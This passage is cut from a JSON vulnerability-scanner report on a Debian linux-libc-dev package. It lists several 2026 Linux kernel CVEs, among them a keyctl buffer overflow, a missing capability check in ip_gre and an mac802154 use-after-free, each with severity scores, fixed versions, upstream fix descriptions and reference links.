"https://git.kernel.org/linus/f9c9ec2c319f843b70ecdf939d48b52d189bc081%20%287.2-rc1%29", "https://git.kernel.org/stable/c/4fe388218826df8607ae41a6305df67db08a9093", "https://git.kernel.org/stable/c/8745d9f7e1682c39f0a1578895ac74205e2a6757", "https://git.kernel.org/stable/c/9d0d5ba20cad661f7f287d4c66d2c19022ce2fd0", "https://git.kernel.org/stable/c/b85ef03f726b15047a6fa6d11b639bdf6c0ee4f0", "https://git.kernel.org/stable/c/f9c9ec2c319f843b70ecdf939d48b52d189bc081", "https://kernelcve.org/list/?q=CVE-2026-63804", "https://linux.oracle.com/cve/CVE-2026-63804.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071902-CVE-2026-63804-8035@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63804", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-63804" ], "PublishedDate": "2026-07-19T12:16:53.12Z", "LastModifiedDate": "2026-11-06T17:18:34.403Z" }, { "VulnerabilityID": "CVE-2026-63824", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63824", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb61cae37d8fc3e8639815457ac2d04c48d8b994f0fd06a424d5bff7501dea95", "Title": "kernel: KEYS: fix overflow in keyctl_pkey_params_get_2()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKEYS: fix overflow in keyctl_pkey_params_get_2()\n\nThe length for the internal output buffer is calculated incorrectly, which\ncan result overflow when a too small buffer is provided.\n\nFix the bug by allocating internal output with the size of the maximum\nlength of the cryptographic primitive instead of caller provided size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-63824", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/cb481e59ea6cae3b7796ac1d7a22b6b24c3f3c0b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0f3058d7d26f81df9b68a18ddbe164bdc3c5eff3", "https://git.kernel.org/stable/c/5165f1cc727f1322456735df212d8e26ec237a8d", "https://git.kernel.org/stable/c/5966e4e2ba213ab7ad559166152eb4f1f170dd2c", "https://git.kernel.org/stable/c/622ec2dcd59f21623f2a7ab773c80ceb7d555e3a", "https://git.kernel.org/stable/c/670fc6a311ed321522b7fff92cf0fc376b4f6e78", "https://git.kernel.org/stable/c/b11c1fa32667692a2c0566e10163758e786e430c", "https://git.kernel.org/stable/c/b1e247338bc71826a2d2def3e0874c34749df69a", "https://git.kernel.org/stable/c/cb481e59ea6cae3b7796ac1d7a22b6b24c3f3c0b", "https://linux.oracle.com/cve/CVE-2026-63824.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071906-CVE-2026-63824-6a2f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63824", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63824" ], "PublishedDate": "2026-07-19T12:16:55.583Z", "LastModifiedDate": "2026-10-22T18:22:18.247Z" }, { "VulnerabilityID": "CVE-2026-63829", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63829", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9089bcce08f29c35a2af45289aa526cf4a869630bd73f6208bd9d5e0bdf7875a", "Title": "kernel: net: ip_gre: require CAP_NET_ADMIN in the device netns for changelink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ip_gre: require CAP_NET_ADMIN in the device netns for changelink\n\nA tunnel changelink() operates on at most two netns, dev_net(dev) and\nthe tunnel link netns t-\u003enet. They differ once the device is created in\nor moved to a netns other than the one the request runs in. The rtnl\nchangelink path checks CAP_NET_ADMIN only against dev_net(dev), so a\ncaller privileged there but not in t-\u003enet can rewrite a tunnel that\nlives in t-\u003enet.\n\nAdd rtnl_dev_link_net_capable() next to rtnl_get_net_ns_capable() in\nnet/core/rtnetlink.c. It requires CAP_NET_ADMIN in the link netns and is\nskipped when the link netns is dev_net(dev), where the rtnl path already\nchecked it. The other patches in this series use the same helper.\n\nGate ipgre_changelink() and erspan_changelink() with it, at the top of\nthe op before any attribute is parsed, because the parsers update live\ntunnel fields first. ipgre_netlink_parms() sets t-\u003ecollect_md before\nip_tunnel_changelink() runs.\n\nCommit 8b484efd5cb4 (\"ip6: vti: Use ip6_tnl.net in\nvti6_siocdevprivate().\") added the same check on the ioctl path. This\nadds it on RTM_NEWLINK.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-63829", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/8165f7ff57d9667d2bb477ef6af83ede7fed4ad7%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1697957eb0971d420dde42862b88eb43506a1105", "https://git.kernel.org/stable/c/19275943d8fe903eb7b9aa53e380e41efd042ada", "https://git.kernel.org/stable/c/47b5d3d506609b08b2e1f7c14f0b681a1953d572", "https://git.kernel.org/stable/c/8165f7ff57d9667d2bb477ef6af83ede7fed4ad7", "https://git.kernel.org/stable/c/866b0f5ae599490bd496fd84581c68ac8b94e6af", "https://git.kernel.org/stable/c/92b766fc55156e0da2ecd0c2302c971118f8a229", "https://git.kernel.org/stable/c/9831bc9ecb402957810c2045c663fbfe9b09e296", "https://git.kernel.org/stable/c/e54c05ed3d9c28733fb9e5837219aca3691defa3", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-zz4tqhkldzjr.toml", "https://linux.oracle.com/cve/CVE-2026-63829.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-63829-ff2a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63829", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63829" ], "PublishedDate": "2026-07-19T12:16:56.23Z", "LastModifiedDate": "2026-10-22T18:17:26.85Z" }, { "VulnerabilityID": "CVE-2026-63830", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63830", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22ab76b4e58b3ecbbaaee03f1ad9c59d423f829cac46193bd1e5008c87d3491b", "Title": "kernel: net: skmsg: preserve sg.copy across SG transforms", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skmsg: preserve sg.copy across SG transforms\n\nThe sk_msg sg.copy bitmap is part of the scatterlist entry ownership\nstate. A set bit tells sk_msg_compute_data_pointers() not to expose the\nentry through writable BPF ctx-\u003edata. This protects entries backed by\npages that are not private to the sk_msg, such as splice-backed file\npage-cache pages.\n\nSeveral sk_msg transform paths move, copy, split, or compact\nmsg-\u003esg.data[] entries without moving the matching sg.copy bit. This can\nmake an externally backed entry arrive at a new slot with a clear copy\nbit. A later SK_MSG verdict can then expose sg_virt(sge) as writable\nctx-\u003edata and BPF stores can modify the original page cache.\n\nKeep sg.copy synchronized with sg.data[] whenever entries are\ntransferred, shifted, split, or copied into a new sk_msg. Clear the bit\nwhen an entry is replaced by a newly allocated private page or freed.\nThis covers the BPF pull/push/pop helpers, sk_msg_shift_left/right(),\nsk_msg_xfer(), and tls_split_open_record(), including the partial tail\nentry created during TLS open-record splitting.", "Severity": "HIGH", "CweIDs": [ "CWE-863", "CWE-269" ], "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63830", "https://git.kernel.org/linus/406e8a651a7b854c41fecd5117bb282b3a6c2c6b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0eb4c16c4adb262763bda870a8ed38a1a9dec7ec", "https://git.kernel.org/stable/c/1acdd14c0990dd1cd4b6534f00366d2e6dfce05f", "https://git.kernel.org/stable/c/21ed9540a8e1906dfcbc1bb82ba9b4de4fa4bd6d", "https://git.kernel.org/stable/c/31a110642b5fb5e61940cbcfb503445ac4f28017", "https://git.kernel.org/stable/c/406e8a651a7b854c41fecd5117bb282b3a6c2c6b", "https://git.kernel.org/stable/c/9bb86d8184b37503816150c4a6ad3c17dfdbe827", "https://git.kernel.org/stable/c/d22cc92bc41290e5783a72375e0843d9435f6001", "https://git.kernel.org/stable/c/f126eed589eec6f201405abbc398844042ef6d57", "https://linux.oracle.com/cve/CVE-2026-63830.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026071908-CVE-2026-63830-1297@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63830", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63830" ], "PublishedDate": "2026-07-19T12:16:56.337Z", "LastModifiedDate": "2026-10-22T18:14:48.593Z" }, { "VulnerabilityID": "CVE-2026-63831", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63831", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e4c2ba3abbe9925e0f4e4fab5089979446368941b6e3052d92a1c8f7d6c9a929", "Title": "kernel: mac802154: llsec: add skb_cow_data() before in-place crypto", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmac802154: llsec: add skb_cow_data() before in-place crypto\n\nllsec_do_encrypt_unauth(), llsec_do_encrypt_auth(),\nllsec_do_decrypt_unauth(), and llsec_do_decrypt_auth() all perform\nin-place cryptographic transformations on skb data. They build a\nscatterlist with sg_init_one() pointing into the skb's linear data area\nand then pass the same scatterlist as both src and dst to the crypto API\n(e.g. crypto_skcipher_encrypt/decrypt, crypto_aead_encrypt/decrypt).\n\nOn the RX path, __ieee802154_rx_handle_packet() clones the received skb\nbefore handing it to each subscriber via ieee802154_subif_frame(). The\ncloned skb shares the same underlying data buffer via reference\ncounting. When llsec_do_decrypt() subsequently modifies this shared\nbuffer in place, it corrupts data that other clones -- potentially\nbelonging to other sockets or subsystems -- still reference.\n\nOn the TX path, similar data sharing can occur when an skb's head has\nbeen cloned (skb_cloned() returns true).\n\nThe fix is to call skb_cow_data() before performing any in-place crypto\noperation. skb_cow_data() ensures that the skb's data area is not\nshared: if the skb head is cloned or the data spans multiple fragments,\nit copies the data into a private buffer that can be safely modified in\nplace. This is the same pattern used by:\n\n - ESP (net/ipv4/esp4.c, net/ipv6/esp6.c)\n - MACsec (drivers/net/macsec.c)\n - WireGuard (drivers/net/wireguard/receive.c)\n - TIPC (net/tipc/crypto.c)\n\nWithout this guard, in-place crypto on shared skb data leads to:\n - Silent data corruption of other skb clones\n - Use-after-free when the crypto API scatterwalk writes through a\n page that has already been freed by another clone's kfree_skb()\n - Kernel crashes under concurrent 802.15.4 traffic with security\n enabled (KASAN/KMSAN reports slab-use-after-free)\n\nFound by 0sec (https://0sec.ai) using automated source analysis.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-63831", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", 